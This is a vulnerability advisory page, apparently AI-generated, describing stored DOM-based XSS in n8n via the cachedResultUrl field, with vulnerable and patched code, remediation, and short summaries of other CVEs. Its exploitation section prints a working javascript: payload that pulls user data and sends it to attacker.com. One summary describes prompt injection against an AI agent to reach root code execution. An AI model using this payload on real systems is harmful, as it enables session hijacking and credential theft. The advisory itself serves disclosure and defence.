CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-65592

CVE-2026-65592: Stored DOM-based Cross-Site Scripting via cachedResultUrl in n8n

Alon Barad
Alon Barad
Software Engineer

Jul 22, 2026·5 min read·23 visits

Executive Summary (TL;DR)

Stored DOM-based XSS in n8n's Resource Locator component allows low-privilege users to execute arbitrary JavaScript in administrative sessions by crafting malicious workflows.

A Stored DOM-based Cross-Site Scripting (XSS) vulnerability exists within the frontend Resource Locator component of n8n. The flaw stems from insecure usage of window.open() where the application evaluates the workflow-persisted parameter 'cachedResultUrl' without verifying its protocol scheme. Authenticated attackers with permissions to create or edit workflows can insert a 'javascript:' URI payload, leading to arbitrary code execution in the victim's browser context upon interaction.

Vulnerability Overview

The n8n workflow automation platform exposes an interactive frontend editor interface where users design, configure, and monitor automated integrations. Within this interface, nodes use a Resource Locator component to dynamically retrieve and configure metadata, such as database schemas or API resource identifiers from external services. To optimize subsequent load times, n8n saves specific configuration attributes, including cachedResultUrl, directly into the workflow metadata schema.\n\nAn authenticated user with workflow creation or modification rights can manipulate this structured metadata. By inputting a malicious URI containing active scripting elements into the cachedResultUrl field, the attacker creates a persistent malicious node. This field is subsequently saved in the backend database and loaded whenever other authorized users open the workspace.\n\nThis flaw represents a Stored DOM-based Cross-Site Scripting (XSS) vulnerability, classified as CWE-79. The vulnerable vector resides within the frontend rendering process, meaning that arbitrary script execution occurs entirely on the client side inside the DOM of the active user session.

Root Cause Analysis

The underlying vulnerability is located within the n8n frontend application logic responsible for processing interactions within the Resource Locator component. Specifically, when a user clicks on links or button elements designed to inspect the cached resource, the application retrieves the stored cachedResultUrl parameter.\n\nThe application passes this value directly to the browser standard API call window.open(cachedResultUrl, '_blank'). This operation triggers a new browser window or tab pointing to the location specified by the parameter. No validation, sanitization, or filtering is conducted on the URL scheme prior to passing it to the function.\n\nWhen a browser receives a javascript: scheme within window.open(), it interprets the subsequent string as executable code rather than a web resource location. The browser then executes the script in the security context of the parent frame, which is the origin hosting the n8n application. This allows attackers to bypass normal origin restrictions and access the DOM, session data, and authenticated APIs.

Code Analysis

Analysis of the vulnerable flow highlights the transition from an unchecked input parameter to execution. The primary issue is the absence of protocol parsing.\n\ntypescript\n// Vulnerable Implementation\nfunction handleResourceClick(cachedResultUrl: string) {\n // Vulnerability: The value is passed directly to window.open without verification\n window.open(cachedResultUrl, '_blank');\n}\n\n\nThe remediated implementation enforces structured validation. By instantiating a URL object and validating the parsed protocol, n8n mitigates the risk of protocol-handler abuse.\n\ntypescript\n// Patched Implementation\nfunction handleResourceClick(cachedResultUrl: string) {\n try {\n const parsedUrl = new URL(cachedResultUrl);\n // Remediation: Validate that the protocol matches safe web schemes\n if (parsedUrl.protocol === 'http:' || parsedUrl.protocol === 'https:') {\n window.open(parsedUrl.toString(), '_blank');\n } else {\n console.warn('Rejected unsafe URL protocol:', parsedUrl.protocol);\n }\n } catch (error) {\n // Gracefully handle malformed or relative URLs depending on context\n console.error('Invalid URL schema detected:', error);\n }\n}\n\n\nThis fix is highly effective. It prevents the interpretation of javascript: or data: URIs by strictly matching allowed protocols, closing the DOM injection path.

Exploitation Methodology

Exploitation requires the attacker to hold basic permissions that allow workflow creation or modification within n8n. The attacker starts by constructing a node parameter containing the payload.\n\nmermaid\ngraph LR\n A["Attacker (Privilege PR:L)"] -->|Injects javascript: URI| B["n8n Workflow Database"]\n B -->|Renders Workflow JSON| C["Victim Browser Session"]\n C -->|Clicks Resource Link| D["window.open() Call"]\n D -->|Executes JavaScript| E["Session Hijacking / API Exploitation"]\n\n\nThe JSON workflow configuration structure encapsulates the payload within the cachedResultUrl property. An attacker defines this property to run client-side JavaScript.\n\njson\n{\n "parameters": {\n "resourceLocator": {\n "cachedResultUrl": "javascript:fetch('/api/v1/users').then(r=>r.json()).then(d=>fetch('https://attacker.com/log?data='+btoa(JSON.stringify(d))))"\n }\n }\n}\n\n\nOnce saved, the workflow is stored persistently in the database. When a victim with higher administrative privileges opens the workflow canvas and triggers the Resource Locator action, the script runs automatically under the victim's active session context.

Impact Assessment

The impact of a successful exploit is significant due to the administrative capabilities available within the n8n application interface. The executed script has access to session storage, browser cookies (if not marked HttpOnly), and local storage objects.\n\nThe attacker can issue authenticated API calls to the n8n backend on behalf of the victim. This enables actions such as adding new administrator accounts, modifying existing active workflows, exfiltrating credential stores, or retrieving API keys.\n\nThe CVSS v4.0 base score is rated at 8.4 (High), reflecting high confidentiality and integrity impacts on the user session. The attack relies on interaction from an authorized user opening the affected workflow interface.

Remediation and Mitigation

The primary recommendation is upgrading n8n to a safe release. Upgrading to versions 1.123.64, 2.29.8, or 2.30.1 mitigates this risk by ensuring all Resource Locator parameters undergo scheme checking before execution.\n\nIn environments where upgrading is delayed, administrators must limit workflow creation and editing privileges. Only trusted system operators should have access to import or edit workflow schemas.\n\nAdministrators can also run database queries on the workflow table to inspect workflow JSON structures for the presence of the javascript: prefix inside nested node parameters.

Technical Appendix

CVSS Score
8.4/ 10

Affected Systems

n8n Workflow Automation Platform

Affected Versions Detail

Product
Affected Versions
Fixed Version
n8n
n8n-io
< 1.123.641.123.64
n8n
n8n-io
>= 2.0.0-rc.0 < 2.29.82.29.8
n8n
n8n-io
2.30.0 (specifically < 2.30.1)2.30.1
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork (AV:N)
CVSS v4.08.4
Exploit StatusNone
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection

References & Sources

  • [1]n8n Security Advisory GHSA-9wcp-9r3j-383q
  • [2]NVD - CVE-2026-65592 Detail

More Reports

•about 1 hour ago•CVE-2026-129236
7.2

CVE-2026-129236: Command-Line Argument Injection in Kubeshark MCP Server

CVE-2026-129236 is a command-line argument injection vulnerability (CWE-88) in Kubeshark, an eBPF-based network observability tool for Kubernetes. Located within the Model Context Protocol (MCP) server implementation in cmd/mcpRunner.go, the flaw occurs when handling the start_kubeshark tool request. When the MCP server runs with the --allow-destructive flag, the callStartKubeshark function appends the caller-supplied pod_regex parameter directly to the kubeshark tap argument slice without an end-of-options (--) delimiter. Because Kubeshark uses the Cobra and pflag libraries for command-line parsing, any pod_regex value prefixed with a hyphen is interpreted as a CLI flag rather than a positional regular expression. An attacker capable of influencing MCP tool arguments, such as through indirect prompt injection against a connected Large Language Model (LLM) agent, can inject the --set flag to override Helm chart values like tap.docker.registry. Because Kubeshark deploys its worker DaemonSet with privileged security contexts and host networking enabled, redirecting the container image registry allows arbitrary code execution as root across all Kubernetes cluster nodes.

Alon Barad
Alon Barad
2 views•11 min read
•about 2 hours ago•CVE-2026-129235
5.3

CVE-2026-129235: Arbitrary File Write and Argument Injection in Kubeshark MCP Server

Kubeshark versions 53.1.0 prior to 53.4.0 contain an arbitrary file write and path traversal vulnerability (CWE-22) alongside an argument injection vulnerability (CWE-88) in the Model Context Protocol (MCP) server implementation (cmd/mcpRunner.go). The download_file tool fails to validate caller-supplied path and dest arguments, allowing an attacker who influences an AI agent driving kubeshark mcp to write Kubeshark Hub API responses to arbitrary locations writable by the local user. Additionally, the start_kubeshark tool appends the pod_regex argument without flag delimiters, allowing argument injection into the kubeshark tap subcommand.

Amit Schendel
Amit Schendel
2 views•10 min read
•about 3 hours ago•CVE-2026-129300
5.3

CVE-2026-129300: Uncaught Exception Denial of Service in SpamScope mail-parser

CVE-2026-129300 (GHSA-xhrq-2mqv-q8wx) is an unhandled exception vulnerability in SpamScope mail-parser, a Python library used to parse raw emails. When processing an email with a malformed Received header containing an out-of-range year or timezone offset, standard library datetime conversion routines raise OverflowError or OSError. Because the internal error handler only caught TypeError and ValueError, these exceptions escape the parser hierarchy, terminating email ingestion pipelines and causing a denial of service.

Alon Barad
Alon Barad
2 views•8 min read
•about 4 hours ago•CVE-2026-129301
6.5

CVE-2026-129301: Security Scanner Evasion and Batch Denial of Service in SpamScope mail-parser via Unhandled Attachment Exceptions

CVE-2026-129301 (GHSA-8cgq-x343-p74c) is an uncaught exception and MIME interpretation conflict vulnerability in the Python email parsing library mail-parser (versions >= 4.6.0 and < 4.6.3). The write_attachments() function iterates over parsed email attachments without per-attachment exception containment. When processing a specially crafted MIME part containing an RFC 2231-encoded null byte in the filename, a basename exceeding filesystem NAME_MAX limits, or a malformed base64 payload, the function raises an unhandled standard library exception (ValueError, OSError, or binascii.Error). This prematurely aborts the attachment extraction loop, preventing subsequent attachments from being written to disk for downstream security inspection while also triggering unhandled worker crashes in applications that only catch MailParserError.

Amit Schendel
Amit Schendel
4 views•11 min read
•about 5 hours ago•CVE-2026-129239
6.5

CVE-2026-129239: Privilege Escalation and Unauthorized Data Exposure in Directus SharesService

Directus versions prior to 12.3.1 contain an authorization bypass and privilege management flaw in the SharesService component. Authenticated non-administrative users with update permissions on the directus_shares collection can modify the user_created, role, item, and collection fields of an existing owned share. Because the update operation validates permissions solely against the pre-update record state without revalidating the modified fields, an attacker can reassign share ownership and role context to an administrator. Subsequent guest access using the share token derives administrative accountability, exposing restricted relational data.

Alon Barad
Alon Barad
3 views•10 min read
•about 6 hours ago•CVE-2026-88987
5.4

CVE-2026-88987: Stored Cross-Site Scripting via XHTML and XML Data URIs in Silverstripe Framework

CVE-2026-88987 (GHSA-qqrg-8jpm-8mph) is a stored Cross-Site Scripting (XSS) vulnerability in the Silverstripe Framework prior to version 6.2.13. The framework's HTML sanitization engine, XssSanitiser, relies on an incomplete regular expression denylist when filtering URI schemes in HTML attributes. Specifically, the sanitizer strips data:text/html URIs but fails to restrict executable XML and XHTML media types such as data:application/xhtml+xml, data:text/xml, and data:application/xml. An authenticated user with content creation privileges can embed crafted data URIs inside HTML attributes like iframe src or object data, leading to arbitrary JavaScript execution when the content is rendered by a victim's browser.

Amit Schendel
Amit Schendel
4 views•9 min read